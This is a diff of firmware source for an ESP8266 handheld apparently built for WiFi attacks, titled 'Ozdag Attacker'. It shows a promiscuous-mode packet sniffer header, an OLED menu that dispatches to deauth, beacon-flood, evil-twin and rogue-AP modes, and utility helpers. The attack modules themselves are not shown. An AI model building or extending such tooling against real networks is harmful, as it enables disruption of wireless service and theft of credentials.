// Structure for Beacon/Probe Response fixed parameters
typedef struct {
uint64_t timestamp;
uint16_t beacon_interval;
uint16_t capability_info;
// Tagged parameters follow (SSID, Rates, Channel, etc.)
} __attribute__((packed)) beacon_probe_fixed_params_t;
// Structure to hold SDK packet info
typedef struct {
signed rssi : 8; // signal intensity of packet
unsigned rate : 4; // data rate
unsigned is_group : 1;
unsigned : 1; // reserve
unsigned sig_mode : 2; // 0:is not 11n packet; 1:is 11n packet
unsigned legacy_length : 12; // if not 11n packet, shows length of packet.
unsigned damatch0 : 1;
unsigned damatch1 : 1;
unsigned bssidmatch0 : 1;
unsigned bssidmatch1 : 1;
unsigned mcs : 7; // if is 11n packet, shows the modulation and code scheme index
unsigned cwb : 1; // if is 11n packet, shows the channel bandwidth
unsigned ht_length : 16; // if is 11n packet, shows length
unsigned smoothing : 1;
unsigned not_sounding : 1;
unsigned : 1; // reserve
unsigned aggregation : 1; // aggregation
unsigned stbc : 2; // space time block code
unsigned fec_coding : 1; // forward error correction code
unsigned sgi : 1; // short guide interval
unsigned rxend_state : 8;
unsigned ampdu_cnt : 8;
unsigned channel : 4; // channel number
unsigned : 12; // reserve
} wifi_pkt_rx_ctrl_t;
typedef struct {
wifi_pkt_rx_ctrl_t rx_ctrl;
uint8_t payload[0]; // Flexible array member for packet data
} wifi_promiscuous_pkt_t;
// --- Data Structures for Found Devices ---
enum class EncryptionType {
OPEN,
WEP,
WPA_PSK,
WPA2_PSK,
WPA_WPA2_PSK,
WPA2_ENTERPRISE, // Add more as needed
UNKNOWN
};
typedef struct {
uint8_t bssid[6];
char ssid[MAX_SSID_LEN + 1];
uint8_t channel;
int8_t rssi;
EncryptionType encryption;
uint32_t last_seen;
uint16_t packet_count;
bool selected; // For UI highlighting
} AccessPointInfo;
typedef struct {
uint8_t mac[6];
uint8_t bssid_ap[6]; // BSSID of the AP this station is associated with (if known)
int8_t rssi;
uint32_t last_seen;
uint16_t packet_count;
bool selected; // For UI highlighting
} StationInfo;
// --- Global Variables (declared here, defined in .cpp) ---
extern AccessPointInfo ap_list[MAX_APS];
extern uint8_t ap_count;
extern StationInfo sta_list[MAX_STAS];
extern uint8_t sta_count;
extern uint8_t current_channel;
extern bool scanner_active;
// --- Function Declarations ---
void scanner_init();
void scanner_update();
void scanner_stop();
void scanner_draw(); // Function to draw scanner UI
void scanner_handle_input(ButtonPressType pressType); // Handle button presses
// Internal functions
void scanner_set_channel(uint8_t channel);
void packet_capture_callback(uint8_t *buf, uint16_t len); // SDK callback
void process_wifi_packet(uint8_t *buf, uint16_t len);
int find_ap(const uint8_t* bssid);
int find_sta(const uint8_t* mac);
void add_or_update_ap(const mac_header_t* header, const beacon_probe_fixed_params_t* params, int8_t rssi, uint8_t channel, const uint8_t* tagged_params, uint16_t tagged_params_len);
void add_or_update_sta(const uint8_t* mac, const uint8_t* bssid, int8_t rssi);
EncryptionType get_encryption_type(const uint16_t capabilities, const uint8_t* tagged_params, uint16_t tagged_params_len);
String encryption_to_string(EncryptionType enc);
// SDK function declarations
extern "C" {
#include "user_interface.h" // Required for wifi_promiscuous_enable, etc.
typedef void (*wifi_promiscuous_cb_t)(uint8_t *buf, uint16_t len);
void wifi_promiscuous_enable(uint8 promiscuous);
void wifi_set_promiscuous_rx_cb(wifi_promiscuous_cb_t cb);
bool wifi_set_channel(uint8 channel);
void wifi_sniffer_packet_handler(uint8_t *buff, uint16_t len);
}
#endif // SCANNER_H

364
src/ui.cpp Normal file
View File

@ -0,0 +1,364 @@
#include "ui.h"
#include "config.h"
#include "utils.h"
#include <U8g2lib.h>
#include <Wire.h>
#include "scanner.h"
#include "deauth.h"
#include "beacon.h"
#include "mitm.h"
#include "rogue_ap.h"
// --- OLED Instance ---
U8G2_SSD1306_128X64_NONAME_F_HW_I2C oled(U8G2_R0, /* reset=*/ U8X8_PIN_NONE, /* scl=*/ OLED_SCL_PIN, /* sda=*/ OLED_SDA_PIN);
// --- Global Flag for Redraw ---
bool needsRedraw = true;
// --- Menu Definition ---
const char* mainMenuItems[] = {
"WiFi Scanner",
"Deauth Attack",
"Beacon Flood",
"Evil Twin",
"Rogue AP"
};
const int mainMenuLength = sizeof(mainMenuItems) / sizeof(mainMenuItems[0]);
// --- State Variables ---
UIState currentState = UIState::MAIN_MENU;
int currentMenuIndex = 0;
// --- Button State ---
static ButtonPressType lastPressType = ButtonPressType::NO_PRESS;
static bool buttonState = HIGH;
static bool lastButtonState = HIGH;
static unsigned long buttonDownTime = 0;
static unsigned long lastDebounceTime = 0;
static unsigned long pressStartTime = 0;
static int currentButtonState = HIGH;
// --- Battery ---
static int batteryPercentage = -1;
static unsigned long lastBatteryReadTime = 0;
// --- Initialization ---
void ui_init() {
pinMode(BUTTON_PIN, INPUT_PULLUP);
Serial.println("UI Initialized.");
needsRedraw = true;
}
// --- Main Update Loop for UI ---
void ui_update() {
unsigned long currentMillis = millis();
// --- Button Handling ---
currentButtonState = digitalRead(BUTTON_PIN);
static int prevRawState = HIGH;
if (currentButtonState != prevRawState) {
prevRawState = currentButtonState;
}
ButtonPressType currentPress = ButtonPressType::NO_PRESS;
if (currentButtonState != lastButtonState) {
lastDebounceTime = currentMillis;
}
if ((currentMillis - lastDebounceTime) > DEBOUNCE_TIME) {
if (currentButtonState != buttonState) {
buttonState = currentButtonState;
if (buttonState == LOW) {
pressStartTime = currentMillis;
} else {
if (pressStartTime > 0) {
unsigned long pressDuration = currentMillis - pressStartTime;
if (pressDuration >= LONG_PRESS_TIME) {
currentPress = ButtonPressType::LONG_PRESS;
} else {
currentPress = ButtonPressType::SHORT_PRESS;
}
pressStartTime = 0;
}
}
}
}
lastButtonState = currentButtonState;
if (currentPress != ButtonPressType::NO_PRESS) {
switch (currentState) {
case UIState::MAIN_MENU:
if (currentPress == ButtonPressType::SHORT_PRESS) {
currentMenuIndex = (currentMenuIndex + 1) % mainMenuLength;
needsRedraw = true;
} else if (currentPress == ButtonPressType::LONG_PRESS) {
UIState nextState = (UIState)(currentMenuIndex + 1);
currentState = nextState;
currentMenuIndex = 0;
needsRedraw = true;
}
break;
case UIState::SCANNER_MODE:
if (currentPress == ButtonPressType::LONG_PRESS) {
scanner_stop();
currentState = UIState::MAIN_MENU;
currentMenuIndex = 0;
needsRedraw = true;
} else {
scanner_handle_input(currentPress);
}
break;
case UIState::DEAUTH_MODE:
deauth_handle_input(currentPress);
break;
case UIState::BEACON_MODE:
beacon_handle_input(currentPress);
break;
case UIState::MITM_MODE:
mitm_handle_input(currentPress);
break;
case UIState::ROGUE_AP_MODE:
rogue_ap_handle_input(currentPress);
break;
default:
if (currentPress == ButtonPressType::LONG_PRESS) {
scanner_stop();
deauth_stop();
beacon_stop();
mitm_stop();
rogue_ap_stop();
currentState = UIState::MAIN_MENU;
currentMenuIndex = 0;
needsRedraw = true;
}
break;
}
}
// Update Battery periodically
if (millis() - lastBatteryReadTime > 5000 || batteryPercentage == -1) {
float voltage = readBatteryVoltage();
int newPercentage = estimateBatteryPercentage(voltage);
if (newPercentage != batteryPercentage) {
batteryPercentage = newPercentage;
needsRedraw = true;
}
lastBatteryReadTime = millis();
}
if (needsRedraw) {
oled.clearBuffer();
const char* currentTitle = "Ozdag Attacker";
switch (currentState) {
case UIState::MAIN_MENU: currentTitle = "Main Menu"; break;
case UIState::SCANNER_MODE: currentTitle = "WiFi Scanner"; break;
case UIState::DEAUTH_MODE: currentTitle = "Deauth Attack"; break;
case UIState::BEACON_MODE: currentTitle = "Beacon Flood"; break;
case UIState::MITM_MODE: currentTitle = "Evil Twin"; break;
case UIState::ROGUE_AP_MODE:currentTitle = "Rogue AP"; break;
}
ui_draw_header(currentTitle);
switch (currentState) {
case UIState::MAIN_MENU:
ui_draw_main_menu();
break;
case UIState::SCANNER_MODE:
scanner_draw();
break;
case UIState::DEAUTH_MODE:
deauth_draw();
break;
case UIState::BEACON_MODE:
beacon_draw();
break;
case UIState::MITM_MODE:
mitm_draw();
break;
case UIState::ROGUE_AP_MODE:
rogue_ap_draw();
break;
default:
break;
}
ui_draw_battery(SCREEN_WIDTH - 18, 0, batteryPercentage);
oled.sendBuffer();
needsRedraw = false;
}
}
// --- Drawing Functions ---
void ui_draw_header(const char* title) {
oled.setFont(u8g2_font_6x10_tf);
oled.drawHLine(0, 12, SCREEN_WIDTH);
oled.drawStr(0, 10, title);
}
void ui_draw_battery(int x, int y, int percentage) {
oled.drawFrame(x, y, 18, 9);
oled.drawBox(x + 18, y + 2, 1, 5);
if (percentage >= 0) {
int width = map(percentage, 0, 100, 0, 16);
if (width > 0) {
oled.drawBox(x + 1, y + 1, width, 7);
}
} else {
oled.drawStr(x + 6, y + 8, "?");
}
}
void ui_draw_main_menu() {
oled.setFont(u8g2_font_6x10_tf);
const int itemsPerPage = 4;
int firstItem = (currentMenuIndex / itemsPerPage) * itemsPerPage;
for (int i = 0; i < itemsPerPage; ++i) {
int itemIndex = firstItem + i;
if (itemIndex >= mainMenuLength) break;
int yPos = 24 + (i * 11);
if (itemIndex == currentMenuIndex) {
oled.drawStr(0, yPos, ">");
oled.drawStr(8, yPos, mainMenuItems[itemIndex]);
} else {
oled.drawStr(8, yPos, mainMenuItems[itemIndex]);
}
}
if (mainMenuLength > itemsPerPage) {
if (firstItem > 0) {
oled.drawTriangle(SCREEN_WIDTH - 6, 16, SCREEN_WIDTH - 9, 20, SCREEN_WIDTH - 3, 20);
}
if (firstItem + itemsPerPage < mainMenuLength) {
oled.drawTriangle(SCREEN_WIDTH - 6, SCREEN_HEIGHT - 1, SCREEN_WIDTH - 9, SCREEN_HEIGHT - 5, SCREEN_WIDTH - 3, SCREEN_HEIGHT - 5);
}
}
}
// --- Getters ---
UIState ui_get_current_state() {
return currentState;
}
int ui_get_menu_index() {
return currentMenuIndex;
}
// --- Button Update Function ---
void button_update() {
bool reading = digitalRead(BUTTON_PIN);
if (reading != lastButtonState) {
lastDebounceTime = millis();
}
if ((millis() - lastDebounceTime) > DEBOUNCE_TIME) {
if (reading != buttonState) {
buttonState = reading;
if (buttonState == LOW) {
buttonDownTime = millis();
} else {
unsigned long pressDuration = millis() - buttonDownTime;
if (pressDuration >= LONG_PRESS_TIME) {
lastPressType = ButtonPressType::LONG_PRESS;
} else if (pressDuration >= DEBOUNCE_TIME) {
lastPressType = ButtonPressType::SHORT_PRESS;
}
}
}
}
lastButtonState = reading;
}
// --- Button Get Press Function ---
ButtonPressType button_get_press() {
ButtonPressType press = lastPressType;
if (press != ButtonPressType::NO_PRESS) {
lastPressType = ButtonPressType::NO_PRESS;
}
return press;
}
void handle_button() {
ButtonPressType press = button_get_press();
if (press != ButtonPressType::NO_PRESS) {
switch (currentState) {
case UIState::MAIN_MENU:
if (press == ButtonPressType::SHORT_PRESS) {
currentMenuIndex = (currentMenuIndex + 1) % mainMenuLength;
needsRedraw = true;
} else if (press == ButtonPressType::LONG_PRESS) {
currentState = (UIState)(currentMenuIndex + 1);
currentMenuIndex = 0;
needsRedraw = true;
}
break;
case UIState::SCANNER_MODE:
break;
case UIState::DEAUTH_MODE:
deauth_handle_input(press);
break;
case UIState::BEACON_MODE:
beacon_handle_input(press);
break;
case UIState::MITM_MODE:
mitm_handle_input(press);
break;
case UIState::ROGUE_AP_MODE:
rogue_ap_handle_input(press);
break;
default:
if (press == ButtonPressType::LONG_PRESS) {
currentState = UIState::MAIN_MENU;
currentMenuIndex = 0;
needsRedraw = true;
}
break;
}
}
}
void draw_ui() {
oled.clearBuffer();
switch (currentState) {
case UIState::MAIN_MENU:
ui_draw_main_menu();
break;
case UIState::SCANNER_MODE:
scanner_draw();
break;
case UIState::DEAUTH_MODE:
deauth_draw();
break;
case UIState::BEACON_MODE:
beacon_draw();
break;
case UIState::MITM_MODE:
mitm_draw();
break;
case UIState::ROGUE_AP_MODE:
rogue_ap_draw();
break;
default:
oled.setFont(u8g2_font_6x10_tf);
oled.drawStr(0, 30, "Unknown State");
break;
}
oled.sendBuffer();
}

59
src/ui.h Normal file
View File

@ -0,0 +1,59 @@
#ifndef UI_H
#define UI_H
#include <Arduino.h>
#include <U8g2lib.h> // Include U8g2 library
#include "config.h" // For button pin, etc.
// --- UI State Enum ---
enum class UIState {
MAIN_MENU,
SCANNER_MODE,
DEAUTH_MODE,
BEACON_MODE,
MITM_MODE,
ROGUE_AP_MODE
// Add other states as needed
};
// --- Button States ---
enum class ButtonPressType {
NO_PRESS,
SHORT_PRESS,
LONG_PRESS
};
// --- Global UI Variables (defined in ui.cpp) ---
extern U8G2_SSD1306_128X64_NONAME_F_HW_I2C oled; // Make OLED object accessible
extern UIState currentState; // <<< Make sure this is extern
extern int currentMenuIndex; // <<< Make sure this is extern
extern bool needsRedraw; // <<< Make sure this is extern
extern const char *mainMenuItems[]; // Declare main menu items array
extern const int mainMenuLength; // Declare main menu length
// --- Function Declarations ---
// Initialization
void ui_init();
// Main update loop for UI (handles button presses, updates display)
void ui_update();
// Drawing functions
void ui_draw_header(const char* title);
void ui_draw_battery(int x, int y, int percentage);
void ui_draw_main_menu();
// Add drawing functions for each mode/state later
// Getters
UIState ui_get_current_state();
int ui_get_menu_index();
// Button Function Declarations
void button_update();
ButtonPressType button_get_press();
void handle_button(); // <<< DECLARE button handling function
void draw_ui(); // <<< DECLARE main UI drawing function
#endif // UI_H

48
src/utils.cpp Normal file
View File

@ -0,0 +1,48 @@
#include "utils.h"
#include "config.h"
// --- Battery ---
float readBatteryVoltage() {
int raw = analogRead(BATTERY_PIN);
float voltage = raw * (VOLTAGE_MAX / 1024.0);
return voltage;
}
int estimateBatteryPercentage(float voltage) {
int percentage = map(voltage * 100, VOLTAGE_MIN * 100, VOLTAGE_MAX * 100, 0, 100);
if (percentage < 0) percentage = 0;
if (percentage > 100) percentage = 100;
return percentage;
}
// --- MAC Address Formatting ---
String macToString(const uint8_t* mac) {
char buf[18];
snprintf(buf, sizeof(buf), "%02X:%02X:%02X:%02X:%02X:%02X",
mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);
return String(buf);
}
bool stringToMac(const String& macStr, uint8_t* mac) {
if (macStr.length() != 17) return false;
int byteNum = 0;
for (int i = 0; i < 17; i += 3) {
if (byteNum >= 6) return false;
String byteStr = macStr.substring(i, i + 2);
char* endPtr;
mac[byteNum] = strtol(byteStr.c_str(), &endPtr, 16);
if (*endPtr != '\0') return false;
byteNum++;
}
return byteNum == 6;
}
// --- Other Helpers ---
void printHex(uint8_t* data, size_t len) {
for (size_t i = 0; i < len; i++) {
if (data[i] < 0x10) Serial.print("0");
Serial.print(data[i], HEX);
Serial.print(" ");
}
Serial.println();
}

20
src/utils.h Normal file
View File

@ -0,0 +1,20 @@
#ifndef UTILS_H
#define UTILS_H
#include <Arduino.h>
#include <ESP8266WiFi.h> // For MAC address type
// --- Battery ---
float readBatteryVoltage();
int estimateBatteryPercentage(float voltage);
// --- MAC Address Formatting ---
String macToString(const uint8_t* mac);
bool stringToMac(const String& macStr, uint8_t* mac);
// --- Other Helpers ---
void printHex(uint8_t* data, size_t len); // For debugging
void utils_random_mac(uint8_t* mac);
#endif // UTILS_H